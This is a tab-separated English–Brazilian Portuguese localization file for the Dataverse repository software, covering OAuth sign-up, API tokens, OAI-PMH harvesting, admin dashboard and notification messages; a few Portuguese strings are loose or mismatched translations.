oauth2.newAccount.welcomeWithName	Welcome to Dataverse, {0}	Bem-vindo ao Dataverse, {0}
oauth2.newAccount.welcomeNoName	Welcome to Dataverse	Bem-vindo ao Dataverse
# oauth2.newAccount.email	Email	Email
# oauth2.newAccount.email.tip	Dataverse uses this email to notify you of issues regarding your data.	Dataverse uses this email to notify you of issues regarding your data.
oauth2.newAccount.suggestedEmails	Suggested Email Addresses:	Endereços de e-mail sugeridos:
oauth2.newAccount.username	Username	Nome de usuário
oauth2.newAccount.username.tip	This username will be your unique identifier as a Dataverse user.	Esse nome de usuário será seu identificador exclusivo como um usuário do Dataverse.
oauth2.newAccount.explanation	This information is provided by {0} and will be used to create your {1} account. To log in again, you will have to use the {0} log in option.	Essas informações são fornecidas por {0} e serão usadas para criar sua conta {1}. Para efetuar login novamente, você terá que usar a opção {0} log in.
oauth2.newAccount.suggestConvertInsteadOfCreate	If you already have a {0} account, you will need to convert your account.	Se você já tem uma conta {0}, precisará converter sua conta.
# oauth2.newAccount.tabs.convertAccount	Convert Existing Account	Converter conta existente
oauth2.newAccount.buttons.convertNewAccount	Convert Account	Converter conta
oauth2.newAccount.emailTaken	Email already taken. Consider merging the corresponding account instead.	E-mail já recebido. Considere a fusão da conta correspondente.
oauth2.newAccount.emailOk	Email OK.	E-mail OK.
oauth2.newAccount.emailInvalid	Invalid email address.	Endereço de e-mail inválido.
# oauth2.newAccount.usernameTaken	Username already taken.	Nome de usuário já utilizado.
# oauth2.newAccount.usernameOk	Username OK.	Nome de usuário OK.
# oauth2.convertAccount.title	Account Conversion	Conversão de conta
oauth2.convertAccount.explanation	Please enter your {0} account username or email and password to convert your account to the {1} log in option. Learn more about converting your account.	Por favor, digite seu nome de usuário da conta {0} ou e-mail e senha para converter sua conta para a opção {1} log in. Saiba mais sobre como converter sua conta.
oauth2.convertAccount.username	Existing username	Nome de usuário existente
oauth2.convertAccount.password	Password	Senha
oauth2.convertAccount.authenticationFailed	Your account can only be converted if you provide the correct username and password for your existing account. If your existing account has been deactivated by an administrator, you cannot convert your account.	Falha na autenticação - nome de usuário ou senha inválidos.
oauth2.convertAccount.buttonTitle	Convert Account	Converter conta
oauth2.convertAccount.success	Your Dataverse account is now associated with your {0} account.	Sua conta do Dataverse agora está associada à sua conta {0}.
oauth2.callback.page.title	OAuth Callback	Retorno de chamada do OAuth
oauth2.callback.message	Authentication Error - Dataverse could not authenticate your login with the provider that you selected. Please make sure you authorize your account to connect with Dataverse. For more details about the information being requested, see the User Guide.	Erro de autenticação - O Dataverse não pôde autenticar seu login ORCID. Por favor, certifique-se de autorizar sua conta ORCID para se conectar com o Dataverse. Para obter mais detalhes sobre as informações solicitadas, consulte o Guia do Usuário.
apitoken.title	API Token	Token da API
apitoken.message	Your API Token is valid for a year. Check out our {0}API Guide{1} for more information on using your API Token with the Dataverse APIs.	Seu token da API é exibido abaixo depois de criado. Confira nosso {0} Guia da API {1} para obter mais informações sobre o uso do seu token da API com as APIs do Dataverse.
apitoken.notFound	API Token for {0} has not been created.	O token da API para {0} não foi criado.
apitoken.expired.warning	This token is about to expire, please generate a new one.	Este token está prestes a expirar, por favor, gere um novo.
apitoken.expired.error	This token is expired, please generate a new one.	Este token expirou, por favor, gere um novo.
apitoken.generateBtn	Create Token	Criar token
apitoken.regenerateBtn	Recreate Token	Recriar Token
apitoken.revokeBtn	Revoke Token	Revogar token
apitoken.expirationDate.label	Expiration Date	Data de validade
dashboard.title	Dashboard	Painel principal
dashboard.card.harvestingclients.header	Harvesting Clients	Colhendo Clientes
dashboard.card.harvestingclients.btn.manage	Manage Clients	Gerenciar clientes
dashboard.card.harvestingclients.clients	{0, choice, 0#Clients\|1#Client\|2#Clients}	{0, choice, 0#Clientes\|1#Cliente\|2#Clientes}
dashboard.card.harvestingclients.datasets	{0, choice, 0#Datasets\|1#Dataset\|2#Datasets}	{0, choice, 0#Datasets\|1#Dataset\|2#Datasets}
dashboard.card.harvestingserver.header	Harvesting Server	Servidor de Colheita
dashboard.card.harvestingserver.enabled	OAI server enabled	Servidor OAI ativado
dashboard.card.harvestingserver.disabled	OAI server disabled	Servidor OAI desativado
dashboard.card.harvestingserver.status	Status	Estado
dashboard.card.harvestingserver.sets	{0, choice, 0#Sets\|1#Set\|2#Sets}	{0, choice, 0#Sets\|1#Set\|2#Sets}
dashboard.card.harvestingserver.btn.manage	Manage Server	Gerenciar servidor
dashboard.card.metadataexport.header	Metadata Export	Exportação de Metadados
dashboard.card.metadataexport.message	Dataset metadata export is only available through the {0} API. Learn more in the {0} {1}API Guide{2}.	A exportação de metadados do conjunto de dados está disponível somente por meio da API {0}. Saiba mais no {0} {1} Guia da API {2}.
harvestclients.title	Manage Harvesting Clients	Gerenciar clientes de colheita
harvestclients.toptip	Harvesting can be scheduled to run at a specific time or on demand. Harvesting can be initiated here or via the REST API.	A colheita pode ser programada para ser executada em um horário específico ou sob demanda. A colheita pode ser iniciada aqui ou por meio da API REST.
harvestclients.noClients.label	No clients are configured.	Nenhum cliente está configurado.
harvestclients.noClients.why.header	What is Harvesting?	O que é a colheita?
harvestclients.noClients.why.reason1	Harvesting is a process of exchanging metadata with other repositories. As a harvesting *client*, your Dataverse gathers metadata records from remote sources. These can be other Dataverse instances, or other archives that support OAI-PMH, the standard harvesting protocol.	A colheita é um processo de troca de metadados com outros repositórios. Como *cliente* de coleta, seu Dataverse reúne registros de metadados de origens remotas. Essas podem ser outras instâncias do Dataverse ou outros arquivos que suportam o OAI-PMH, o protocolo de coleta padrão.
harvestclients.noClients.why.reason2	Harvested metadata records are searchable by users. Clicking on a harvested dataset in the search results takes the user to the original repository. Harvested datasets cannot be edited in your Dataverse installation.	Os registros de metadados coletados são pesquisáveis pelos usuários. Clicar em um conjunto de dados colhido nos resultados da pesquisa leva o usuário ao repositório original. Conjuntos de dados coletados não podem ser editados em sua instalação do Dataverse.
harvestclients.noClients.how.header	How To Use Harvesting	Como usar a colheita
harvestclients.noClients.how.tip1	To harvest metadata, a Harvesting Client is created and configured for each remote repository. Note that when creating a client you will need to select an existing local dataverse to host harvested datasets.	Para coletar metadados, um cliente de coleta é criado e configurado para cada repositório remoto. Observe que ao criar um cliente, você precisará selecionar um dataverse local existente para hospedar conjuntos de dados coletados.
harvestclients.noClients.how.tip2	Harvested records can be kept in sync with the original repository through scheduled incremental updates, for example, daily or weekly. Alternatively, harvests can be run on demand, from this page or via the REST API.	Registros coletados podem ser mantidos em sincronia com o repositório original através de atualizações incrementais agendadas, por exemplo, diariamente ou semanalmente. Alternativamente, as colheitas podem ser executadas sob demanda, a partir desta página ou por meio da API REST.
harvestclients.noClients.getStarted	To get started, click on the Add Client button above. To learn more about Harvesting, visit the Harvesting section on the Dashboard page of the Admin Guide.	Para começar, clique no botão Adicionar Cliente acima. Para saber mais sobre a colheita, visite a seção Colheita do Guia do Usuário.
harvestclients.btn.add	Add Client	Adicionar cliente
harvestclients.tab.header.name	Nickname	Apelido
harvestclients.tab.header.url	URL	URL
harvestclients.tab.header.lastrun	Last Run	Última execução
harvestclients.tab.header.lastresults	Last Results	Últimos resultados
harvestclients.tab.header.action	Actions	Ações
harvestclients.tab.header.action.btn.run	Run Harvesting	Executar a colheita
harvestclients.tab.header.action.btn.edit	Edit	Editar
harvestclients.tab.header.action.btn.delete	Delete	Excluir
harvestclients.tab.header.action.btn.delete.dialog.header	Delete Harvesting Client	Excluir cliente de colheita
harvestclients.tab.header.action.btn.delete.dialog.warning	Are you sure you want to delete the harvesting client "{0}"? Deleting the client will delete all datasets harvested from this remote server.	Tem certeza de que deseja excluir o cliente de colheita "{0}"? A exclusão do cliente excluirá todos os conjuntos de dados coletados deste servidor remoto.
harvestclients.tab.header.action.btn.delete.dialog.tip	Note, this action may take a while to process, depending on the number of harvested datasets.	Observe que esta ação pode demorar um pouco para processar, dependendo do número de conjuntos de dados coletados.
harvestclients.tab.header.action.delete.infomessage	Harvesting client is being deleted. Note, that this may take a while, depending on the amount of harvested content.	O cliente de colheita está sendo excluído. Observe que isso pode demorar um pouco, dependendo da quantidade de conteúdo coletado.
harvestclients.actions.runharvest.success	Successfully started an asynchronous harvest for client "{0}" . Please reload the page to check on the harvest results.	Iniciou com êxito uma colheita assíncrona para o cliente "{0}". Atualize a página para verificar os resultados da colheita).
harvestclients.newClientDialog.step1	Step 1 of 4 - Client Information	Etapa 1 de 4 - Informações do cliente
harvestclients.newClientDialog.title.new	Create Harvesting Client	Criar cliente de colheita
harvestclients.newClientDialog.help	Configure a client to harvest content from a remote server.	Configure um cliente para coletar conteúdo de um servidor remoto.
harvestclients.newClientDialog.nickname	Nickname	Apelido
harvestclients.newClientDialog.nickname.helptext	Consists of letters, digits, underscores (_) and dashes (-).	Consiste em letras, dígitos, sublinhados (_) e traços (-).
harvestclients.newClientDialog.nickname.required	Client nickname cannot be empty!	O apelido do cliente não pode estar vazio!
harvestclients.newClientDialog.nickname.invalid	Client nickname can contain only letters, digits, underscores (_) and dashes (-); and must be at most 30 characters.	O apelido do cliente pode conter apenas letras, dígitos, sublinhados (_) e traços (-), e deve ter no máximo 30 caracteres.
harvestclients.newClientDialog.nickname.alreadyused	This nickname is already used.	Este apelido já está sendo usado.
harvestclients.newClientDialog.type	Server Protocol	Protocolo do servidor
harvestclients.newClientDialog.type.helptext	Only the OAI server protocol is currently supported.	Somente o protocolo do servidor OAI é atualmente suportado.
harvestclients.newClientDialog.type.OAI	OAI	OAI
harvestclients.newClientDialog.type.Nesstar	Nesstar	Nesstar
harvestclients.newClientDialog.url	Server URL	URL do servidor
harvestclients.newClientDialog.url.tip	URL of a harvesting resource.	URL de um recurso de colheita.
harvestclients.newClientDialog.url.watermark	Remote harvesting server, http://...	Servidor de colheita remota, http://...
harvestclients.newClientDialog.url.helptext.notvalidated	URL of a harvesting resource. Once you click ´Next´, we will try to establish a connection to the server in order to verify that it is working, and to obtain extra information about its capabilities.	URL de um recurso de colheita. Depois de clicar em "Avançar", tentaremos estabelecer uma conexão com o servidor para verificar se está funcionando e obter informações extras sobre seus recursos.
harvestclients.newClientDialog.url.required	A valid harvesting server address is required.	É necessário um endereço de servidor de colheita válido.
harvestclients.newClientDialog.url.invalid	Invalid URL. Failed to establish connection and receive a valid server response.	URL inválida. Falha ao estabelecer a conexão e receber uma resposta válida do servidor.
harvestclients.newClientDialog.url.noresponse	Failed to establish connection to the server.	Falha ao estabelecer conexão com o servidor.
harvestclients.newClientDialog.url.badresponse	Invalid response from the server.	Resposta inválida do servidor.
harvestclients.newClientDialog.dataverse	Local Dataverse	Dataverse local
harvestclients.newClientDialog.dataverse.tip	Dataverse that will host the datasets harvested from this remote resource.	Dataverse que hospedará os conjuntos de dados coletados deste recurso remoto.
harvestclients.newClientDialog.dataverse.menu.enterName	Enter Dataverse Alias	Digite o Alias ??do Dataverse
harvestclients.newClientDialog.dataverse.menu.header	Dataverse Name (Affiliate), Alias	Nome do Dataverse (Afiliado), Alias
harvestclients.newClientDialog.dataverse.menu.invalidMsg	No matches found	Nenhuma equivalência encontrada
harvestclients.newClientDialog.dataverse.required	You must select an existing dataverse for this harvesting client.	Você deve selecionar um Dataverse existente para este cliente de colheita.
harvestclients.newClientDialog.step2	Step 2 of 4 - Format	Etapa 2 de 4 - Formato
harvestclients.newClientDialog.oaiSets	OAI Set	Conjunto OAI
harvestclients.newClientDialog.oaiSets.tip	Harvesting sets offered by this OAI server.	Coletando conjuntos oferecidos por este servidor OAI.
harvestclients.newClientDialog.oaiSets.noset	None	Nenhum
harvestclients.newClientDialog.oaiSets.helptext	Selecting "none" will harvest the default set, as defined by the server. Often this will be the entire body of content across all sub-sets.	Selecionar "nenhum" coletará o conjunto padrão, conforme definido pelo servidor. Geralmente, isso será o corpo inteiro do conteúdo em todos os subconjuntos.
harvestclients.newClientDialog.oaiSets.helptext.noset	This OAI server does not support named sets. The entire body of content offered by the server will be harvested.	Esse servidor OAI não suporta conjuntos nomeados. Todo o conteúdo oferecido pelo servidor será coletado.
harvestclients.newClientDialog.oaiMetadataFormat	Metadata Format	Formato de metadados
harvestclients.newClientDialog.oaiMetadataFormat.tip	Metadata formats offered by the remote server.	Formatos de metadados oferecidos pelo servidor remoto.
harvestclients.newClientDialog.oaiMetadataFormat.required	Please select the metadata format to harvest from this archive.	Selecione o formato de metadados para colher deste arquivo.
harvestclients.newClientDialog.step3	Step 3 of 4 - Schedule	Etapa 3 de 4 - Cronograma
harvestclients.newClientDialog.schedule	Schedule	Cronograma
harvestclients.newClientDialog.schedule.tip	Schedule harvesting to run automatically daily or weekly.	Programar a colheita para ser executada automaticamente diariamente ou semanalmente.
harvestclients.newClientDialog.schedule.time.none.helptext	Leave harvesting unscheduled to run on demand only.	Deixe a colheita não programada para ser executada somente sob demanda.
harvestclients.newClientDialog.schedule.none	None	Nenhum
harvestclients.newClientDialog.schedule.daily	Daily	Diariamente
harvestclients.newClientDialog.schedule.weekly	Weekly	Semanalmente
harvestclients.newClientDialog.schedule.time	Time	Tempo
harvestclients.newClientDialog.schedule.day	Day	Dia
harvestclients.newClientDialog.schedule.time.am	AM	AM
harvestclients.newClientDialog.schedule.time.pm	PM	PM
harvestclients.newClientDialog.schedule.time.helptext	Scheduled times are in your local time.	Os horários programados estão em sua hora local.
harvestclients.newClientDialog.btn.create	Create Client	Criar cliente
harvestclients.newClientDialog.success	Successfully created harvesting client "{0}".	Cliente de colheita criado com sucesso "{0}".
harvestclients.newClientDialog.step4	Step 4 of 4 - Display	Etapa 4 de 4 - Exibir
harvestclients.newClientDialog.harvestingStyle	Archive Type	Tipo de arquivo
harvestclients.newClientDialog.harvestingStyle.tip	Type of remote archive.	Tipo de arquivo remoto.
harvestclients.newClientDialog.harvestingStyle.helptext	Select the archive type that best describes this remote server in order to properly apply formatting rules and styles to the harvested metadata as they are shown in the search results. Note that improperly selecting the type of the remote archive can result in incomplete entries in the search results, and a failure to redirect the user to the archival source of the data.	Selecione o tipo de arquivo que melhor descreve esse servidor remoto para aplicar corretamente regras de formatação e estilos aos metadados coletados, conforme exibidos nos resultados da pesquisa. Observe que a seleção indevida do tipo do arquivo remoto pode resultar em entradas incompletas nos resultados da pesquisa e uma falha no redirecionamento do usuário para a origem de arquivamento dos dados.
harvestclients.viewEditDialog.title	Edit Harvesting Client	Editar cliente de colheita
harvestclients.viewEditDialog.archiveUrl	Archive URL	URL do arquivo
harvestclients.viewEditDialog.archiveUrl.tip	The URL of the archive that serves the data harvested by this client, which is used in search results for links to the original sources of the harvested content.	A URL do arquivo que veicula os dados coletados por esse cliente, que é usado nos resultados de pesquisa para links para as origens originais do conteúdo coletado.
harvestclients.viewEditDialog.archiveUrl.helptext	Edit if this URL differs from the Server URL.	Edite se esse URL for diferente da URL do servidor.
harvestclients.viewEditDialog.archiveDescription	Archive Description	Descrição do arquivo
harvestclients.viewEditDialog.archiveDescription.tip	Description of the archival source of the harvested content, displayed in search results.	Descrição da origem arquivística do conteúdo colhido, exibida nos resultados da pesquisa.
harvestclients.viewEditDialog.archiveDescription.default.generic	This Dataset is harvested from our partners. Clicking the link will take you directly to the archival source of the data.	Este conjunto de dados é colhido de nossos parceiros. Clicar no link levará você diretamente para a fonte de arquivamento dos dados.
harvestclients.viewEditDialog.btn.save	Save Changes	Salvar alterações
harvestclients.newClientDialog.title.edit	Edit Group {0}	Editar grupo {0}
harvestserver.title	Manage Harvesting Server	Gerenciar o Harvesting Server
harvestserver.toptip	Define sets of local datasets that will be available for harvesting by remote clients.	Defina conjuntos de conjuntos de dados locais que estarão disponíveis para coleta por clientes remotos.
harvestserver.service.label	OAI Server	Servidor OAI
harvestserver.service.enabled	Enabled	Ativado
harvestserver.service.disabled	Disabled	Desativado
harvestserver.service.disabled.msg	Harvesting Server is currently disabled.	O Servidor de Coleta está desativado no momento.
harvestserver.service.empty	No sets are configured.	Nenhum conjunto está configurado.
harvestserver.service.enable.success	OAI Service has been successfully enabled.	O serviço OAI foi ativado com sucesso.
harvestserver.noSets.why.header	What is a Harvesting Server?	O que é um servidor de colheita?
harvestserver.noSets.why.reason1	Harvesting is a process of exchanging metadata with other repositories. As a harvesting *server*, your Dataverse can make some of the local dataset metadata available to remote harvesting clients. These can be other Dataverse instances, or any other clients that support OAI-PMH harvesting protocol.	A colheita é um processo de troca de metadados com outros repositórios. Como um *servidor* de coleta, seu Dataverse pode disponibilizar alguns dos metadados do conjunto de dados local para clientes de coleta remota. Estas podem ser outras instâncias do Dataverse, ou quaisquer outros clientes que suportem o protocolo de extração OAI-PMH.
harvestserver.noSets.why.reason2	Only the published, unrestricted datasets in your Dataverse can be harvested. Remote clients normally keep their records in sync through scheduled incremental updates, daily or weekly, thus minimizing the load on your server. Note that it is only the metadata that are harvested. Remote harvesters will generally not attempt to download the data files themselves.	Somente os conjuntos de dados irrestritos publicados em seu Dataverse podem ser coletados. Os clientes remotos normalmente mantêm seus registros sincronizados por meio de atualizações incrementais programadas, diárias ou semanais, minimizando assim a carga em seu servidor. Observe que são apenas os metadados que são coletados. Os colhedores remotos geralmente não tentam baixar os arquivos de dados.
harvestserver.noSets.how.header	How to run a Harvesting Server?	Como executar um servidor de colheita?
harvestserver.noSets.how.tip1	Harvesting server can be enabled or disabled on this page.	O servidor de coleta pode ser ativado ou desativado nesta página.
harvestserver.noSets.how.tip2	Once the service is enabled, you can define collections of local datasets that will be available to remote harvesters as OAI Sets. Sets are defined by search queries (for example, authorName:king; or parentId:1234 - to select all the datasets that belong to the dataverse specified; or dsPersistentId:"doi:1234/" to select all the datasets with the persistent identifier authority specified). Consult the Search API section of the Dataverse User Guide for more information on the search queries.	Uma vez que o serviço esteja ativado, você pode definir coleções de conjuntos de dados locais que estarão disponíveis para colhedores remotos como conjuntos OAI. Os conjuntos são definidos por consultas de pesquisa (por exemplo, autorName: king. ou parentId:1234 - para selecionar todos os conjuntos de dados que pertencem ao dataverse especificado. ou dsPersistentId: "doi:1234/" para selecionar todos os conjuntos de dados com o persistente autoridade identificadora especificada). Consulte a seção API de pesquisa do Guia do usuário do Dataverse para obter mais informações sobre as consultas de pesquisa.
harvestserver.noSets.getStarted	To get started, enable the OAI server and click on the Add Set button. To learn more about Harvesting, visit the Harvesting section on the Dashboard page of the Admin Guide.	Para começar, ative o servidor OAI e clique no botão Adicionar conjunto. Para saber mais sobre a colheita, visite a seção Colheita do Guia do Usuário.
harvestserver.btn.add	Add Set	Adicionar conjunto
harvestserver.tab.header.spec	OAI setSpec	OAI setSpec
harvestserver.tab.col.spec.default	DEFAULT	DEFAULT
harvestserver.tab.header.description	Description	Descrição
harvestserver.tab.header.definition	Definition Query	Consulta de definição
harvestserver.tab.col.definition.default	All Published Local Datasets	Todos os conjuntos de dados locais publicados
harvestserver.tab.header.stats	Datasets	Conjuntos de dados
harvestserver.tab.col.stats.empty	No records (empty set)	Sem registros (conjunto vazio)
harvestserver.tab.col.stats.results	{0} {0, choice, 0#datasets\|1#dataset\|2#datasets} ({1} {1, choice, 0#records\|1#record\|2#records} exported, {2} marked as deleted)	{0} {0, choice, 0#datasets\|1#dataset\|2#datasets} ({1} {1, choice, 0#records\|1#record\|2#records} exported, {2} marked as deleted)
harvestserver.tab.header.action	Actions	Ações
harvestserver.tab.header.action.btn.export	Run Export	Executar exportação
harvestserver.actions.runreexport.success	Successfully started an asynchronous re-export job for OAI set "{0}" (please reload the page to check on the export progress).	Iniciou com sucesso uma tarefa de reexportação assíncrona para o conjunto OAI "{0}" (por favor recarregue a página para verificar o progresso da exportação).
harvestserver.tab.header.action.btn.edit	Edit	Editar
harvestserver.tab.header.action.btn.delete	Delete	Excluir
harvestserver.tab.header.action.btn.delete.dialog.header	Delete Harvesting Set	Excluir conjunto de colheita
harvestserver.tab.header.action.btn.delete.dialog.tip	Are you sure you want to delete the OAI set "{0}"? You cannot undo a delete!	Tem certeza de que deseja excluir o conjunto OAI "{0}"? Você não pode desfazer uma exclusão!
harvestserver.tab.header.action.delete.infomessage	Selected harvesting set is being deleted. (this may take a few moments)	O conjunto de colheita selecionado está sendo excluído. (Isso pode levar algum tempo)
harvestserver.newSetDialog.title.new	Create Harvesting Set	Criar conjunto de colheita
harvestserver.newSetDialog.help	Define a set of local datasets available for harvesting to remote clients.	Defina um conjunto de conjuntos de dados locais disponíveis para coleta para clientes remotos.
harvestserver.newSetDialog.setspec	Name/OAI setSpec	Nome/OAI setSpec
harvestserver.newSetDialog.setspec.tip	A unique name (OAI setSpec) identifying this set.	Um nome exclusivo (OAI setSpec) que identifica esse conjunto.
harvestserver.newSetDialog.setspec.helptext	Consists of letters, digits, underscores (_) and dashes (-).	Consiste em letras, dígitos, sublinhados (_) e traços (-).
harvestserver.editSetDialog.setspec.helptext	The name can not be changed once the set has been created.	O nome não pode ser alterado depois que o conjunto foi criado.
harvestserver.editSetDialog.setspec.helptext.default	this is the default, unnamed set	este é o padrão , conjunto sem nome
harvestserver.newSetDialog.setspec.required	Name (OAI setSpec) cannot be empty!	O nome (OAI setSpec) não pode estar vazio!
harvestserver.newSetDialog.setspec.invalid	Name (OAI setSpec) can contain only letters, digits, underscores (_) and dashes (-).	O nome (OAI setSpec) pode conter apenas letras, dígitos, sublinhados (_) e traços (-).
harvestserver.newSetDialog.setspec.alreadyused	This set name (OAI setSpec) is already used.	Este nome do conjunto (OAI setSpec) já está sendo usado.
harvestserver.newSetDialog.setspec.sizelimit	This set name (OAI setSpec) may be no longer than 30 characters.	Este nome do conjunto (OAI setSpec) pode ter no máximo 30 caracteres.
harvestserver.newSetDialog.setspec.superUser.required	Only superusers may create OAI sets.	Apenas superusuários podem criar conjuntos OAI.
harvestserver.newSetDialog.setdescription	Description	Descrição
harvestserver.newSetDialog.setdescription.tip	Provide a brief description for this OAI set.	Forneça uma breve descrição para este conjunto OAI.
harvestserver.newSetDialog.setdescription.required	Set description cannot be empty!	A descrição do conjunto não pode estar vazia!
harvestserver.newSetDialog.setdescription.default	The default, "no name" set. The OAI server will serve the records from this set when no "setspec" argument is specified by the client.	O padrão "sem nome" é definido. O servidor OAI servirá os registros deste conjunto quando nenhum argumento "setspec" for especificado pelo cliente.
harvestserver.newSetDialog.setquery	Definition Query	Consulta de definição
harvestserver.newSetDialog.setquery.tip	Search query that defines the content of the dataset.	Consulta de pesquisa que define o conteúdo do conjunto de dados.
harvestserver.newSetDialog.setquery.helptext	Example query: authorName:king	Exemplo de consulta: authorName:king
harvestserver.newSetDialog.setquery.required	Search query cannot be left empty!	A consulta de pesquisa não pode ser deixada em branco!
harvestserver.newSetDialog.setquery.results	Search query returned {0} datasets!	A consulta de pesquisa retornou {0} conjuntos de dados!
harvestserver.newSetDialog.setquery.empty	WARNING: Search query returned no results!	AVISO: a consulta de pesquisa não retornou resultados!
harvestserver.newSetDialog.btn.create	Create Set	Criar conjunto
harvestserver.newSetDialog.success	Successfully created harvesting set "{0}".	Conjunto de coleta criado com sucesso "{0}".
harvestserver.viewEditDialog.title	Edit Harvesting Set	Editar conjunto de colheita
harvestserver.viewEditDialog.btn.save	Save Changes	Salvar alterações
dashboard.card.users	Users	Usuários
dashboard.card.users.header	Dashboard - User List	Painel principal - Lista de usuários
dashboard.card.users.super	Superusers	Superusuários
dashboard.card.users.manage	Manage Users	Gerenciar usuários
dashboard.card.users.message	List and manage users.	Listar e gerenciar usuários.
dashboard.list_users.searchTerm.watermark	Search these users...	Pesquisar estes usuários ...
dashboard.list_users.tbl_header.userId	ID	ID
dashboard.list_users.tbl_header.userIdentifier	Username	Nome de usuário
dashboard.list_users.tbl_header.name	Name	Nome
dashboard.list_users.tbl_header.lastName	Last Name	Sobrenome
dashboard.list_users.tbl_header.firstName	First Name	Primeiro nome
dashboard.list_users.tbl_header.email	Email	E-mail
dashboard.list_users.tbl_header.affiliation	Affiliation	Afiliação
dashboard.list_users.tbl_header.roles	Roles	Papéis
dashboard.list_users.tbl_header.position	Position	Posição/Profissão
dashboard.list_users.tbl_header.isSuperuser	Superuser	Superusuário
dashboard.list_users.tbl_header.authProviderFactoryAlias	Authentication	Autenticação
dashboard.list_users.tbl_header.createdTime	Created Time	Tempo de criação
dashboard.list_users.tbl_header.lastLoginTime	Last Login Time	Último horário de login
dashboard.list_users.tbl_header.lastApiUseTime	Last API Use Time	Última hora de uso da API
dashboard.list_users.tbl_header.roles.removeAll	Remove All	Remover tudo
dashboard.list_users.tbl_header.roles.removeAll.header	Remove All Roles	Remover todas as funções
dashboard.list_users.tbl_header.roles.removeAll.confirmationText	Are you sure you want to remove all roles for user {0}?	Tem certeza de que deseja remover todas as funções do usuário {0}?
dashboard.list_users.removeAll.message.success	All roles have been removed for user {0}.	Todas as funções foram removidas do usuário {0}.
dashboard.list_users.removeAll.message.failure	Failed to remove roles for user {0}.	Falha ao remover funções para o usuário {0}.
dashboard.list_users.toggleSuperuser	Edit Superuser Status	Editar status do superusuário
dashboard.list_users.toggleSuperuser.confirmationText.add	Are you sure you want to enable superuser status for user {0}?	Tem certeza de que deseja ativar o status de superusuário para o usuário {0}?
dashboard.list_users.toggleSuperuser.confirmationText.remove	Are you sure you want to disable superuser status for user {0}?	Tem certeza de que deseja desativar o status de superusuário do usuário {0}?
dashboard.list_users.api.auth.invalid_apikey	The API key is invalid.	A chave da API é inválida.
dashboard.list_users.api.auth.not_superuser	Forbidden. You must be a superuser.	Proibido. Você deve ser um superusuário.
dashboard.card.datamove	Data	Dados
dashboard.card.datamove.header	Dashboard - Move Data	Painel principal - Mover dados
dashboard.card.datamove.manage	Move Data	Mover dados
dashboard.card.datamove.message	Manage and curate your installation by moving datasets from one host dataverse to another. See also Managing Datasets and Dataverses in the Admin Guide.	Gerencie e organize sua instalação movendo conjuntos de dados do dataverse de um host para outro. Consulte também Como gerenciar conjuntos de dados e fontes de dados no Guia de administração.
dashboard.card.datamove.selectdataset.header	Dataset to Move	Conjunto de dados a ser movido
dashboard.card.datamove.newdataverse.header	New Host Dataverse	Novo hospedeiro Dataverse
dashboard.card.datamove.dataset.label	Dataset	Conjunto de dados
dashboard.card.datamove.dataverse.label	Dataverse	Dataverse
dashboard.card.datamove.confirm.dialog	Are you sure want to move this dataset?	Tem certeza de que deseja mover este conjunto de dados?
dashboard.card.datamove.confirm.yes	Yes, Move Data	Sim, mover dados
dashboard.card.datamove.message.success	The dataset "{0}" ({1}) has been successfully moved to {2}.	O conjunto de dados "{0}" ({1}) foi movido com êxito para {2}.
dashboard.card.datamove.message.failure.summary	Failed to moved dataset	Falha ao mover o conjunto de dados
dashboard.card.datamove.message.failure.details	The dataset "{0}" ({1}) could not be moved to {2}. {3}{4}	O conjunto de dados "{0}" ({1}) não pôde ser movido para {2}. {3} {4}
dashboard.card.datamove.dataverse.placeholder	Enter Dataverse Identifier...	Digite o Identificador do Dataverse ...
dashboard.card.datamove.dataverse.menu.header	Dataverse Name (Affiliate), Identifier	Nome do Dataverse (Afiliado), Identificador
dashboard.card.datamove.dataverse.menu.invalidMsg	No matches found	Nenhuma correspondência encontrada
dashboard.card.datamove.dataset.placeholder	Enter Dataset Persistent ID, doi:...	Digite ID persistente do conjunto de dados, doi: ...
dashboard.card.datamove.dataset.menu.header	Dataset Persistent ID, Title, Host Dataverse Identifier	ID Persistente do Conjunto de Dados, Título, Identificador do Dataverse do Host
dashboard.card.datamove.dataset.menu.invalidMsg	No matches found	Nada encontrado
dashboard.card.datamove.dataset.command.error.targetDataverseUnpublishedDatasetPublished	A published dataset may not be moved to an unpublished dataverse. You can retry the move after publishing {0}.	Um conjunto de dados publicado não pode ser movido para uma coleção dataverse não publicada. Você pode tentar novamente após a publicação {0}.
dashboard.card.datamove.dataset.command.error.targetDataverseSameAsOriginalDataverse	This dataset is already in this dataverse.	Este conjunto de dados já está nesta comunidade.
dashboard.card.datamove.dataset.command.error.unforced.datasetGuestbookNotInTargetDataverse	The guestbook would be removed from this dataset if you moved it because the guestbook is not in the new host dataverse.	O livro de visitas seria removido deste conjunto de dados se você o movesse porque o livro de visitas não está no novo dataverse do host.
dashboard.card.datamove.dataset.command.error.unforced.linkedToTargetDataverseOrOneOfItsParents	This dataset is linked to the new host dataverse or one of its parents. This move would remove the link to this dataset.	Este conjunto de dados está vinculado ao novo dataverse de host ou a um de seus pais. Essa ação removeria o link para este conjunto de dados.
dashboard.card.datamove.dataset.command.error.unforced.suggestForce	Forcing this move is currently only available via API. Please see "Move a Dataset" under Managing Datasets and Dataverses in the Admin Guide for details.	Forçar essa mudança está disponível apenas via API. Consulte "Mover um conjunto de dados" em Como gerenciar conjuntos de dados e dados no Guia do administrador para obter detalhes.
dashboard.card.datamove.dataset.command.error.indexingProblem	Dataset could not be moved. Indexing failed.	O conjunto de dados não pôde ser movido. A indexação falhou.
notification.email.create.dataverse.subject	{0}: Your dataverse has been created	{0}: Seu dataverse foi criado
notification.email.create.dataset.subject	{0}: Your dataset has been created	{0}: Seu conjunto de dados foi criado
notification.email.request.file.access.subject	{0}: Access has been requested for a restricted file	{0}: O acesso foi solicitado para um arquivo restrito
notification.email.grant.file.access.subject	{0}: You have been granted access to a restricted file	{0}: Você recebeu acesso a um arquivo restrito
notification.email.rejected.file.access.subject	{0}: Your request for access to a restricted file has been rejected	{0}: Seu pedido de acesso a um arquivo restrito foi rejeitado
notification.email.update.maplayer	{0}: WorldMap layer added to dataset	{0}: Camada do WorldMap adicionada ao conjunto de dados
notification.email.maplayer.deletefailed.subject	{0}: Failed to delete WorldMap layer	{0}: Falha ao excluir a camada do WorldMap
